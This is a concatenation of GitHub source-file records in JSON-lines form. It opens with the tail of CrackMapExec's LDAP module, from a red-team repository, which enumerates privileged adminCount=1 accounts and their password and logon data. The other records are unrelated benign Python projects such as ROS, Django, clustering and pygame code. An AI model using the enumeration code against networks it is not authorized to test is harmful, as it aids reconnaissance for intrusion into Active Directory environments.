pass\n        if len(answers)>0:\n            logging.debug(answers)\n            for value in answers:\n                self.logger.highlight(value[0])\n        else:\n            self.logger.error(\"No entries found!\")\n        return\n\n    def admin_count(self):\n        # Building the search filter\n        searchFilter = \"(adminCount=1)\"\n        try:\n            logging.debug('Search Filter=%s' % searchFilter)\n            resp = self.ldapConnection.search(searchFilter=searchFilter,\n                                        attributes=['sAMAccountName',\n                                                    'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],\n                                        sizeLimit=999)\n        except ldap_impacket.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement\n                # paged queries\n                resp = e.getAnswers()\n                pass\n            else:\n                return False\n        answers = []\n        logging.debug('Total of records returned %d' % len(resp))\n\n        for item in resp:\n            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:\n                continue\n            mustCommit = False\n            sAMAccountName =  ''\n            memberOf = ''\n            pwdLastSet = ''\n            userAccountControl = 0\n            lastLogon = 'N/A'\n            try:\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                        mustCommit = True\n                    elif str(attribute['type']) == 'userAccountControl':\n                        userAccountControl = \"0x%x\" % int(attribute['vals'][0])\n                    elif str(attribute['type']) == 'memberOf':\n                        memberOf = str(attribute['vals'][0])\n                    elif str(attribute['type']) == 'pwdLastSet':\n                        if str(attribute['vals'][0]) == '0':\n                            pwdLastSet = '<never>'\n                        else:\n                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'lastLogon':\n                        if str(attribute['vals'][0]) == '0':\n                            lastLogon = '<never>'\n                        else:\n                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                if mustCommit is True:\n                    answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])\n            except Exception as e:\n                logging.debug(\"Exception:\", exc_info=True)\n                logging.debug('Skipping item, cannot process due to error %s' % str(e))\n                pass\n        if len(answers)>0:\n            logging.debug(answers)\n            for value in answers:\n                self.logger.highlight(value[0])\n        else:\n            self.logger.error(\"No entries found!\")\n        return        \n\n","repo_name":"ryanmrestivo/red-team","sub_path":"Exploitation-Tools/CrackMapExec/site-packages/cme/protocols/ldap.py","file_name":"ldap.py","file_ext":"py","file_size_in_byte":28725,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"}
+{"seq_id":"24346878356","text":"'''\nCreated on 15.03.2013\n@author: Jens Seifried\nfor : Floribot ROS_Stage/Real\nDescription: Script to find Objekts in Laserscan \n             and publish their cartesian coordinates\n'''\n#!/usr/bin/env python\nimport roslib; \nimport rospy\nimport math\nimport string\nfrom sensor_msgs.msg import LaserScan\nfrom sensor_msgs.msg import PointCloud\nfrom geometry_msgs.msg import Point32\nfrom sensor_msgs.msg import ChannelFloat32\n\n\ndef listener():\n    rospy.Subscriber(\"scan\", LaserScan, callback)\n    rospy.spin()  \n      \ndef callback(data):\n    #Variablen\n    message1 = PointCloud()\n    channel = ChannelFloat32()\n    channel.values = [] \n    #Suchparameter    \n    search_Range = 4.0\n    radius = 0.05\n    #Schleifen-Startbedingung\n    i_os = i_oe =1\n    i=1\n    while i < len(data.ranges):\n        if data.ranges[i] <= search_Range:\n            if abs(data.ranges[i]-data.ranges[i-1])< radius:\n                point = Point32()\n                i_os = i_oe = i\n                count = 1\n                stop = 0\n                while abs(data.ranges[i_oe]-data.ranges[i_oe-1])< radius and stop == 0:\n                    count +=1\n                    if i_oe < len(data.ranges)-1: i_oe+=1\n                    if i_oe == len(data.ranges)-1: stop = 1\n                    \n                i = i_oe\n                count /=2\n                if i_os+count < len(data.ranges):\n                    angle = data.angle_min+(i_os+count)*data.angle_increment\n                    point.x = math.cos(angle)*data.ranges[i_os+count]#-radius\n                    point.y = math.sin(angle)*data.ranges[i_os+count]#-radius\n                    point.z = 0\n                if i_os+count > len(data.ranges):\n                    angle = data.angle_min+(len(data.ranges)-1)*data.angle_increment\n                    point.x = math.cos(angle)*data.ranges[len(data.ranges)-1]#-radius\n                    point.y = math.sin(angle)*data.ranges[len(data.ranges)-1]#-radius\n                    point.z = 0                \n                channel.values.append(math.degrees(angle))    \n                message1.points.append(point)\n        i+=1\n     \n    message1.header.seq = data.header.seq\n    message1.header.stamp = data.header.stamp\n    message1.header.frame_id = data.header.frame_id\n    channel.name = \"angle in degrees\"\n    message1.channels.append(channel) \n    \n    #print message1.channels[0].values[4]\n    #print message1.channels.values[3]\n    #print '#######################################################' \n    talker(message1)   \n\ndef talker(send):\n    #p = rospy.Publisher('ObjCloud', PointCloud)\n    p.publish(send)       \n    \n    \nif __name__ == '__main__':\n    rospy.init_node('ObjektCloud', anonymous=True)\n    p = rospy.Publisher('ObjCloud', PointCloud)\n    listener()\n    #print message\n    ","repo_name":"TorstenHeverhagen/de-floribot-software","sub_path":"floribot_navigation/src/ObjCloud.py","file_name":"ObjCloud.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"568491543","text":"# _*_coding :utf-8 _*_\n# @Time :2022/9/11 18:54\n# @File : urls\n# @Project : python_Django\nfrom django.urls import path\nfrom .views import *\n\nurlpatterns = [\n    path('add/', add),\n    path('select/', select),\n    path('update/', update),\n    path('delete/', delete),\n\n\n]","repo_name":"wufake70/myPython","sub_path":"python_frame/db_001/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9502005753","text":"import sys\nimport random\n#print (sys.argv[:])\ntry:\n\tx_length = int(sys.argv[1])\n\ty_length = int(sys.argv[2])\nexcept:\n\tsys.exit(sys.argv[0]+\": Usage argv1=xlength,argv2=ylength\")\ngrid = []\ndeigma = [ \"O\" for x in range(x_length) ]\n\n#### PUT FIRST RANDOMLY AS SALT AND PEPPER THE OBSTACLES #######\nfor y in range(y_length):\n  grid.append(deigma[:])\n  for k in range(random.randrange(0,x_length)):\n    grid[y][random.randrange(0,x_length)]='X'\n\n#### PUT WALLS AND PACKAGES OF OBSTACLE RANDOMLY ###\n\n#### HORIZONTALLY #####\n\nfor y in range(y_length):\n  if(random.uniform(0,1)>0.8):\n    deigma = ['X' for x  in range(random.randrange(0,x_length)) ]\n    start_position = random.randrange(0,x_length) \n    for k in range(start_position,start_position+len(deigma)):\n      grid[y][k%x_length]='X'\n\n\n#### VERTICALLY #### \n\nfor x in range(x_length):\n  if(random.uniform(0,1)>0.8):\n    deigma = ['X' for y  in range(random.randrange(0,y_length)) ]\n    start_position = random.randrange(0,y_length) \n    for k in range(start_position,start_position+len(deigma)):\n      grid[k%y_length][x]='X'\n\nrobot1=[0,0]\nrobot2=[0,0]\nok = False\nwhile not ok:\n  robot1=[random.randrange(y_length),random.randrange(x_length)]\n  if grid[robot1[0]][robot1[1]]!='X':\n    ok = True\nok = False\n\nwhile not ok:\n  robot2=[random.randrange(y_length),random.randrange(x_length)]\n  if grid[robot2[0]][robot2[1]]!='X':\n    ok = True\n\nprint(str(x_length)+\" \"+str(y_length))\nprint(str(robot1[1])+\" \"+str(robot1[0]))\nprint(str(robot2[1])+\" \"+str(robot2[0]))\nfor row in grid:\n  print(\"\".join(row))\n","repo_name":"papajim/artificial_inteligence","sub_path":"Askisi1/testcases/testgenerator.py","file_name":"testgenerator.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"1311337823","text":"import numpy as np\nimport cv2\n\nclass Triangulator:\n    def __init__(self, mtx):\n        \"\"\"\n        Constructor for Triangulator class.\n\n        Parameters:\n        - mtx: intrinsic camera matrix\n        \"\"\"\n        self.mtx = mtx\n    \n    def triangulate(self, kp1, kp2, R, t, matches, matchesMask):\n        \"\"\"\n        Triangulates 3D points from a set of correspondences and camera poses.\n\n        Parameters:\n        - kp1: keypoints in first image\n        - kp2: keypoints in second image\n        - R: rotation matrix from second to first camera\n        - t: translation vector from second to first camera\n        - matches: list of matches between keypoints\n\n        Returns:\n        - pts_3d: list of 3D points\n        \"\"\"\n        pts1 = np.float32([kp1[m.queryIdx].pt for m in matches]).reshape(-1, 1, 2)\n        pts2 = np.float32([kp2[m.trainIdx].pt for m in matches]).reshape(-1, 1, 2)\n\n        pts1 = pts1[np.asarray(matchesMask) == 1, :, :]\n        pts2 = pts2[np.asarray(matchesMask) == 1, :, :]\n\n        proj_mat1 = np.dot(self.mtx, np.hstack((np.eye(3), np.zeros((3, 1)))))\n        proj_mat2 = np.dot(self.mtx, np.hstack((R, t)))\n\n        proj_pts1 = cv2.undistortPoints(pts1, self.mtx, None)\n        proj_pts2 = cv2.undistortPoints(pts2, self.mtx, None)\n\n        proj_pts1 = np.squeeze(proj_pts1).T\n        proj_pts2 = np.squeeze(proj_pts2).T\n\n        pts_4d_hom = cv2.triangulatePoints(proj_mat1, proj_mat2, proj_pts1, proj_pts2)\n        pts_3d_hom = pts_4d_hom / pts_4d_hom[3]\n        pts_3d = pts_3d_hom[:3].T\n        return pts_3d","repo_name":"MichaelFYang/sfm-3d-vision","sub_path":"triangulator.py","file_name":"triangulator.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"14535310395","text":"import importlib.util\n\nfrom ec2mc import consts\n\ndef main(instance, new_ip):\n    \"\"\"pass along instance info to handler under config's ip_handlers\"\"\"\n    if consts.USE_HANDLER is False:\n        return\n    if 'IpHandler' not in instance['tags']:\n        return\n\n    handler_base = instance['tags']['IpHandler']\n    handler_path = consts.IP_HANDLER_DIR / handler_base\n    if not handler_path.is_file():\n        print(f\"  {handler_base} not found from config's ip_handlers.\")\n        return\n\n    handler = _load_script(handler_path)\n    if handler is not None:\n        handler.main(instance['name'], new_ip)\n\n\ndef _load_script(script_path):\n    \"\"\"load python script\"\"\"\n    try:\n        spec = importlib.util.spec_from_file_location(\"handler\", script_path)\n        handler = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(handler)\n        return handler\n    except ImportError as e:\n        handler_base = script_path.name\n        print(f\"  {e.name} package required by {handler_base} not found.\")\n        print(f\"    Install with \\\"python -m pip install {e.name}\\\".\")\n    return None\n","repo_name":"TakingItCasual/ec2mc","sub_path":"ec2mc/utils/handle_ip.py","file_name":"handle_ip.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23386959927","text":"\"\"\"\n\n    Raul Valenzuela\n    raul.valenzuela@colorado.edu\n\n\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tta_analysis3 as tta\nimport pandas as pd\nimport tta_continuity\nfrom matplotlib import rcParams\nfrom rv_utilities import discrete_cmap\n\nrcParams['xtick.labelsize'] = 15\nrcParams['ytick.labelsize'] = 15\nrcParams['axes.labelsize'] = 15\nrcParams['mathtext.default'] = 'sf'\n\n# years = [1998]\nyears = [1998] + range(2001, 2013)\n\ntry:\n    wd_layer\nexcept NameError:\n    out = tta.preprocess(years=years,layer=[0,500])\n    wd_layer = out['wd_layer'][out['WD_rain'].index]\n\nhours_df = pd.DataFrame()\nevents_df = pd.DataFrame()\n\nthres = [140]\nmax_events = 55\nn_event = range(1, max_events)\ncatalog = pd.DataFrame(index=n_event,\n                          columns=years)\n\nfor th in thres:\n\n    hours = np.array([])\n    events = np.array([])\n\n    for year in range(1998,2013):\n\n        if year in [1999, 2000]:\n            hours = np.append(hours, [0])\n            events = np.append(events, [0])\n        else:\n            target = wd_layer[str(year)][wd_layer[str(year)] < th]\n            time_df = tta_continuity.get_df(target)\n            hist = time_df.clasf.value_counts()\n\n            catalog[year][hist.index] = hist.values\n\ndcmap = discrete_cmap(7, base_cmap='Set1')\ncls = [dcmap(0),dcmap(1),dcmap(2)]\nscale = 1.3\n\n\n''' histogram '''\n# axes = catalog.fillna(0).hist(bins=np.arange(0.5,22.5),\n#                           sharex=True,\n#                           sharey=True,\n#                           grid=False)\n# axes = axes.flatten()\n# means = list()\n# for ax in axes[:-3]:\n#     ax.set_xlim([0, 21.5])\n#     ax.set_ylim([0, 35])\n#     title = ax.get_title()\n#     ax.set_title(title, x=0.8, y=0.75)\n#     median = np.percentile(catalog[:][int(title)].dropna(),q=50)\n#     mean = np.mean(catalog[:][int(title)].dropna())\n#     ax.text(0.95,0.65,'median:{}\\nmean:{:2.1f}'.format(median,mean),\n#             ha='right',va='top',\n#             transform=ax.transAxes)\n#     means.append(mean)\n#\n# for ax in [axes[0], axes[4], axes[8], axes[12]]:\n#     ytl = ax.get_yticklabels()\n#     for l in ytl[1::2]:\n#         l.set_visible(False)\n#\n# axes[12].set_xlabel('n$^{\\circ}$ of hours')\n# axes[4].set_ylabel('n$^{\\circ}$ of events')\n#\n# plt.subplots_adjust(top=0.98, hspace=0.15, wspace=0.1)\n\n''' boxplot '''\ndata = list()\nfor year in years:\n    data.append(catalog[:][year].dropna().tolist())\n\nfig,ax = plt.subplots()\n# bp = ax.boxplot(data,whis='range',showmeans=True)\nbp = ax.boxplot(data,\n                 whis='range',\n                 sym='',\n                 showmeans=True,\n                 showcaps=False,\n                 whiskerprops={\n                     'linestyle': '-',\n                     'color': 'k'},\n                 meanprops={\n                     'marker': 'd',\n                     'markersize': 0,\n                     'markeredgecolor': None,\n                     'markerfacecolor': 'r'},\n                 medianprops={'color': 'r',\n                              'linewidth':0},\n                 boxprops={'color': 'k'}\n                 )\nlabs = [str(int(np.mod(y,100.))).zfill(2)\n        for y in years]\n\n# median = np.mean([p.get_ydata()[0] for p in bp['medians']])\n# mean = np.mean([p.get_ydata()[0] for p in bp['means']])\n\nd=list()\nfor l in data:\n    d.extend(l)\nmedian = np.median(d)\nmean = np.mean(d)\n\nax.hlines(y=median, xmin=0, xmax=22, linestyle='--',\n          color='r', zorder=10000)\n\nax.hlines(y=mean, xmin=0, xmax=22, linestyle='-',\n          color='r', zorder=10000)\n\nyticks = [0] + [np.round(median,1), np.round(mean,1)] + range(5,25,5)\n\nax.set_yticks(yticks)\n\nfor label in ax.get_yticklabels()[1:3]:\n    label.set_color('r')\n\nax.set_ylim([0,22])\nax.set_xticklabels(labs)\nax.set_xlabel('winter season [year]')\nax.set_ylabel('TTA duration [hours]')\n\nplace = '/Users/raulvalenzuela/Documents/'\nfname = place+'fig_events_per_season_boxplot.png'\nplt.savefig(fname, dpi=150, format='png',papertype='letter',\n            bbox_inches='tight')\n\n\n","repo_name":"rvalenzuelar/tta_climatology","sub_path":"figure_tta_events_per_season_v2.py","file_name":"figure_tta_events_per_season_v2.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"25289712512","text":"import sys\nsys.path.append(\"../\")\nfrom numpy import sin, pi, arange\nfrom appJar import gui\n\nx = arange(0.0, 3.0, 0.01)\ny = sin(2*pi*x)\n\napp = gui()\naxes = app.addPlot(\"p1\", x, y)\naxes.legend(['key data'])\napp.go()\n","repo_name":"jarvisteach/appJar","sub_path":"examples/plot2.py","file_name":"plot2.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":615,"dataset":"github-code","pt":"21"}
+{"seq_id":"41674483678","text":"\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nimport pandas as pd\nimport numpy as np\nimport wbgapi as wb\nimport matplotlib.pyplot as mpy\nimport seaborn as sns\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\nimport errors\nimport cluster_tools\nfrom sklearn.preprocessing import normalize\n\n\"\"\"## Clustering (K-Means)\"\"\"\n\ncc = ['TUR','BRA','CHN','ISR']   # Selection of country codes\nind1=[\"EN.ATM.CO2E.KT\"]   # Indicator for C02 Emission\nind1mn=['C02 Emission']\nind2=[\"EG.ELC.COAL.ZS\"]    # indicator for Electricity production from coal source\nind2mn=['Electricity production from coal source']\n\nmy_dataframe1  = wb.data.DataFrame(ind1, cc, mrv=20).T   # read data for C02 Emission\nmy_dataframe1=my_dataframe1.fillna(my_dataframe1.mean())  # clean data\nmy_dataframe1.head()\n\nmy_dataframe2  = wb.data.DataFrame(ind2, cc, mrv=50).T   # read data for Electricity production from coal source\nmy_dataframe2=my_dataframe2.fillna(my_dataframe2.mean())  # clean data\nmy_dataframe2.head()\n\nclmns=my_dataframe1.columns\nclrs=\"rmby\"   # asssign colours\nfor i in range(len(clmns)):\n    mpy.figure(figsize=(6,3))   # plot figure size\n    mpy.title('C02 Emission by Country for {}'.format(clmns[i]))   # plot title\n    mpy.plot(my_dataframe1[clmns[i]],\"{}D-\".format(clrs[i]),label=clmns[i])    # line chart\n    mpy.xlabel(\"Year\")   # x-label of plotting\n    mpy.xticks(rotation=90)    # x-lable rotation  \n    mpy.ylabel(\"C02 Emission\")   # y-label of plotting\n    mpy.legend(loc=\"best\")   # place legend\n    mpy.grid()   # plot griding\n    mpy.show()   # plot show\n\nfor i in range(len(clmns)):\n    mpy.figure(figsize=(8,3))   # plot figure size\n    mpy.title('Electricity production from coal source for {}'.format(clmns[i]))   # plot title\n    mpy.plot(my_dataframe2[clmns[i]],\"{}D-\".format(clrs[i]),label=clmns[i])      # line chart\n    mpy.xlabel(\"Year\")   # x-label of plotting\n    mpy.xticks(rotation=90)    # x-lable rotation\n    mpy.ylabel(\"Electricity production\")   # y-label of plotting\n    mpy.legend(loc=\"best\")   # place legend\n    mpy.grid()   # plot griding\n    mpy.show()   # plot show\n\ndef corrmapviz(dt):   # to visualize country correlation with indicators\n    cluster_tools.map_corr(dt)    # call process\ndfs=[my_dataframe1,my_dataframe2]    # accumulatre dataframes\ncorrmapviz(dfs[0])    # visualize correlation\ncorrmapviz(dfs[1])    # visualize correlation\n\ndef nrmdata(df):   # method to call normalization process\n    nrmouts=cluster_tools.scaler(df)    # call process\n    return nrmouts[0], nrmouts[1], nrmouts[2]\nscldfs=[]\nmnvls=[]\nmxvls=[]\nfor d in range(len(dfs)):\n    outnrm=nrmdata(dfs[d])   # calling method\n    scldfs.append(outnrm[0])    # storing scaled(normalized) data\n    mnvls.append(outnrm[1])     # storing minimum value\n    mxvls.append(outnrm[2])     # storing maximum value\nprint(scldfs[0].head(),\"\\n\")\nprint(scldfs[1].head())\n\ndef optclus(dt):   # selection of optimum cluster value\n    optclus_ws = []\n    val=10\n    for i in range(1, val):   # K-Means clustering with cluster 1 to 10\n        kmeans = KMeans(n_clusters=i, init='k-means++', max_iter=600,  random_state=32)   # create K-means model\n        kmeans.fit(dt)    # train k-means model\n        optclus_ws.append(kmeans.inertia_)   # Storing inertia vaklues for all clusters\n    arrws=np.array(optclus_ws)\n    arrws=arrws[arrws>1]    # Finding the value after which elbow curve smooths\n    clopt=arrws[-1]    # Finding optimum value of cluster\n    optclus=optclus_ws.index(clopt)\n    return optclus, optclus_ws, val\n\nclus, allws, clsvl=optclus(scldfs[0])  # \nmpy.figure(figsize=(5,3))   # plot figure size\nmpy.title('Elbow Curve (Optimum Cluster: {})'.format(clus))   # plot title\nmpy.plot(range(1, clsvl), allws,\"c--\")    # plot inertia value\nmpy.plot(range(1, clsvl), allws,\"Xm\")\nmpy.xlabel('Number of clusters')   # x-label of plotting\nmpy.ylabel('Inertia')   # y-label of plotting\nmpy.grid()   # plot griding\nmpy.show()   # plot show\n\nkmeans = KMeans(n_clusters=clus, init='k-means++', max_iter=300, n_init=10, random_state=0)   # final kmeans with optrimum cluster\nkmd = kmeans.fit(scldfs[0])   # train kmeans\nprint(\"Cluster Centres:\",kmd.cluster_centers_)\n\nkmd.cluster_centers_\n\nallcntr=[]\nfor i in kmd.labels_:\n    if i==0:\n        allcntr.append(clmns[0])\n    elif i==1:\n        allcntr.append(clmns[1])\n    elif i==2:\n        allcntr.append(clmns[2])\n    elif i==3:\n        allcntr.append(clmns[3])\n    elif i==4:\n        allcntr.append(clmns[4])\n    else:\n        pass\n\ndf=pd.DataFrame(scldfs[0],columns=my_dataframe1.columns)\nmpy.figure(figsize=(6,3))   # plot figure size\nmpy.title('Cluster Visualization')   # plot title\nsns.scatterplot(data=df, x=clmns[0], y=clmns[1], hue=allcntr,palette=\"PuRd\")   # scatter plot for clsuter visualization\nmpy.scatter(kmeans.cluster_centers_[:,0], kmeans.cluster_centers_[:,1], marker=\"d\", c=\"b\", s=80, label=\"centroids\")\nmpy.legend()  # place legend\nmpy.grid()    # plot griding\nmpy.show()   # plot show\n\n\"\"\"## Curve Fitting\"\"\"\n\nfrom scipy.optimize import curve_fit\n#!pip install lmfit\nfrom lmfit import Model\n\ndef func(x, amp, cen, wid):   # method for curve fitting\n    return (amp / (np.sqrt(2*np.pi) * wid)) * np.exp(-(x-cen)**3 / (2*wid**2))\n\nnorml2 = nrmdata(my_dataframe2.values)   # normalize data\ny = func(scldfs[1].iloc[:,1], 2.1, 0.7, 1.51) + np.random.normal(0, 0.2, norml2[0].shape[0])   # calling method\ninit_vals = [2, 0, 2] \nbest_vals, covar = curve_fit(func, norml2[0][:,1], y, p0=init_vals,maxfev = 700)   # curve fitting\ngmodel = Model(func)  # preparing curve fitting\n\nresult = gmodel.fit(y, x=norml2[0][:,1], amp=5, cen=3, wid=0.4)   # train model;\nplt.figure(figsize=(6,4))   # plot figure size\nplt.title('Curve Fitting Result')   # plot title\nplt.plot(norml2[0][:,1],\"bo\",label=\"Data\")\nplt.plot(result.init_fit, 'm--', label='Initial fit')\nplt.plot(result.best_fit, 'c-', label='Best fit')\nplt.legend()  # place legend\nplt.grid()    # plot griding\nplt.show()   # plot show\n\nresult\n\n","repo_name":"Manasakallem/ADS3","sub_path":"22033469.py","file_name":"22033469.py","file_ext":"py","file_size_in_byte":5967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20656227946","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('auth/', views.auth),\n    path('login/', views.login),\n    path('projects/', views.IndexView.as_view(), name=\"projects\"),\n    path('projects/<int:pk>/', views.ProjectView.as_view(), name=\"project\"),\n    path('projects/<int:project_pk>/project-tasks/<int:project_task_pk>/', views.ProjectTaskView.as_view()),\n    path('projects/<int:project_pk>/project-tasks/<int:project_task_pk>/tasks/<int:task_pk>/', views.TaskView.as_view())\n]","repo_name":"turytsia/webapp-todo","sub_path":"server/todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15986151316","text":"import csv\nfrom urllib.parse import urlparse\nimport os, sys\nnb_dir = os.path.split(os.getcwd())[0]\nif nb_dir not in sys.path:\n    sys.path.append(nb_dir)\nfrom trec_utils import utils\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch import helpers\n\n# Remember that a config.json has to be present in trec_utils\nconfig = utils.load_config()\nurl_info = urlparse(config['ELASTIC'])\n\nes = Elasticsearch([{'host':url_info.hostname,'port':url_info.port}])\n\ndef index_file(file):\n    with open(file) as tsvfile:\n        reader = csv.reader(tsvfile, delimiter='\\t')\n        fake_doc = {\n                'pubmedId': '0',\n                'treatments': {'faketreatment':1},\n                'cuis': {'FAKECUI':1}\n              }\n\n        doc = fake_doc\n\n        actions = []\n        \n        for row in reader: \n            try: \n                pubmedId, cui, treatment = row[0], row[1], row[2]\n\n                if pubmedId==doc['pubmedId']:\n                    if treatment in doc['treatments']:\n                        doc['treatments'][treatment] = doc['treatments'][treatment] + 1\n                    else:\n                        doc['treatments'][treatment] = 1\n                    if cui in doc['cuis']:\n                        doc['cuis'][cui] = doc['cuis'][cui] + 1\n                    else:\n                        doc['cuis'][cui] = 1\n                else:\n                    # Transform dictionaries to list to avoid Elasticsearch issues\n                    doc_to_save = {\n                        'pubmedId': doc['pubmedId'],\n                        'treatments': [ [k,str(v)] for k, v in doc['treatments'].items() ],\n                        'cuis': [ [k,str(v)] for k, v in doc['cuis'].items() ]\n                      }\n                    actions.append({\n                        \"_id\": doc_to_save['pubmedId'],\n                        \"_op_type\": \"index\",\n                        \"_index\": \"treatments\",\n                        \"_type\": \"treatments\",\n                        \"_source\": doc_to_save\n                    })\n                    doc = {'pubmedId':pubmedId,'treatments':{treatment:1}, 'cuis':{cui:1}}\n            except:\n                print(\"Exception, line blank?\")\n                continue\n    \n    helpers.bulk(es, actions)\n    print(file + \" indexed!\")\n    \n# Download and extract this file here\n# http://www.trec-cds.org/medline_treatments.tar.gz\ndef index_all_files():\n    i = 0\n    for file in os.listdir(nb_dir + \"/treatments_indexing/medline_treatments\"):\n        if file.endswith(\".txt\"):\n            file = nb_dir + \"/treatments_indexing/medline_treatments/\" + file\n            index_file(file)\n            i = i + 1\n    print(\"Finished! - Files:\", i)\n    \nif __name__ == \"__main__\":\n    index_all_files()","repo_name":"plopezgarcia/trec-2019-precision-medicine","sub_path":"python-experiments/treatments_indexing/index_treatments.py","file_name":"index_treatments.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"75026857972","text":"import pygame as pg\n\n\ndef writeScore(text, score):\n    f = open(\"Score.txt\", 'r+')\n    x = text + \":\" + str(score) + \"\\n\"\n    lines = f.readlines()\n    for i in range(0,len(lines) - 1):\n        split = lines[i].split(\":\")\n        number = int(split[1])\n        print(number)\n        if score > number:\n            lines.insert(i,x)\n            break\n    g = open(\"Score.txt\", 'r+')\n    for i in range(0, len(lines)):\n        g.write(lines[i])\n    g.close()\n    f.close()\n\n\ndef main(screen, resolution, FPS, clock, score):\n    font = pg.font.Font(None, 32)\n\n    nome = font.render(\"Digite seu nome:\", True, (255,255,255))\n    nomeRect = pg.Rect(0,0,nome.get_width(),nome.get_height())\n    nomeRect.center = (resolution[0] / 2, resolution[1] * 0.3)\n    input_box = pg.Rect(0, 0, 150, 32)\n    input_box.center = (resolution[0] / 2, resolution[1] * 0.4)\n    done_button = font.render(\"OK\", True, (255, 255, 255), (0, 200, 0))\n    done_buttonRect = pg.Rect(0, 0, done_button.get_width(), done_button.get_height())\n    done_buttonRect.center = (input_box.centerx, input_box.centery * 1.2)\n\n    color_inactive = pg.Color('lightskyblue3')\n    color_active = pg.Color('dodgerblue2')\n    color = color_inactive\n    active = False\n    text = ''\n    done = True\n\n    while done:\n        for event in pg.event.get():\n            if event.type == pg.QUIT:\n                done = False\n            if event.type == pg.MOUSEBUTTONDOWN:\n                # If the user clicked on the input_box rect.\n                if input_box.collidepoint(event.pos):\n                    # Toggle the active variable.\n                    active = not active\n                if done_buttonRect.collidepoint(event.pos):\n                    writeScore(text, score)\n                    done = False\n                else:\n                    active = True\n                # Change the current color of the input box.\n                color = color_active if active else color_inactive\n\n            if event.type == pg.KEYDOWN:\n                if active:\n                    if event.key == pg.K_RETURN:\n                        print(text)\n                        text = ''\n                    elif event.key == pg.K_BACKSPACE:\n                        text = text[:-1]\n                    elif len(text) < 10:\n                        text += event.unicode\n        screen.fill((30, 30, 30))\n        # Render the current text.\n        txt_surface = font.render(text, True, color)\n        # Resize the box if the text is too long.\n        width = max(150, txt_surface.get_width()+10)\n        input_box.w = width\n        # Blit the text.\n        screen.blit(txt_surface, (input_box.x+5, input_box.y+5))\n        # Blit the input_box rect.\n        pg.draw.rect(screen, color, input_box, 2)\n        screen.blit(done_button, done_buttonRect)\n        screen.blit(nome, nomeRect)\n        pg.display.flip()\n        clock.tick(FPS)\n","repo_name":"gahenrique/asteroids","sub_path":"scoreScene.py","file_name":"scoreScene.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73539985973","text":"######################################\n# Import and initialize the librarys #\n######################################\nfrom code.api.core import os, log, pygame, PgEss\nfrom code.api.objects import Screen, Frame\nfrom code.api.actions import Runclass, Switchscreen, Info, Alert\nfrom code.api.data.Sound import sound\n\n\n#################\n# Setup logging #\n#################\nfilename = os.path.basename(__file__).split('.')[0]\nlogger = log.get_logger(filename)\n\n\n############################\n# Screen main action class #\n############################\nclass mainmenu:\n\n    @staticmethod\n    def init():\n        # Play game background music\n        if not sound.background.isPlaying():\n            sound.stopAll(600)\n            sound.background.play(loops=-1, withVolume=PgEss.config.sound.background, fadetime=3000)\n    \n    @staticmethod\n    def run():\n        # Get action\n        event_result = mainmenu_screen.events.get()\n        \n        # No action\n        if event_result == None: return\n        # Quit program\n        if event_result.contains('outcome', 'quit'): return 'quit'\n\n\n##################\n# Screen objects #\n##################\nmainmenu_screen = Screen (\n    name = 'mainmenu',\n    main = mainmenu,\n    surfaces = {\n        'menu': {\n            'frame': Frame(x=0, y=0, w=1800, h=1080),\n            'new_game': {\n                'type': 'button',\n                'frame': Frame(x=878, y=266, w=652, h=134),\n                'imageData': {'frame': Frame(x=878, y=266, w=652, h=134)},\n                'action': Switchscreen(type='load', screen='new_game')\n            },\n            'load_saved': {\n                'type': 'button',\n                'frame': Frame(x=878, y=469, w=652, h=134),\n                'imageData': {'frame': Frame(x=878, y=469, w=652, h=134)},\n                'action': Switchscreen(type='load', screen='saves')\n            },\n            'leaderboard': { \n                'type': 'button',\n                'frame': Frame(x=878, y=672, w=652, h=134),\n                'imageData': {'frame': Frame(x=878, y=672, w=652, h=134)},\n                'action': Switchscreen(type='load', 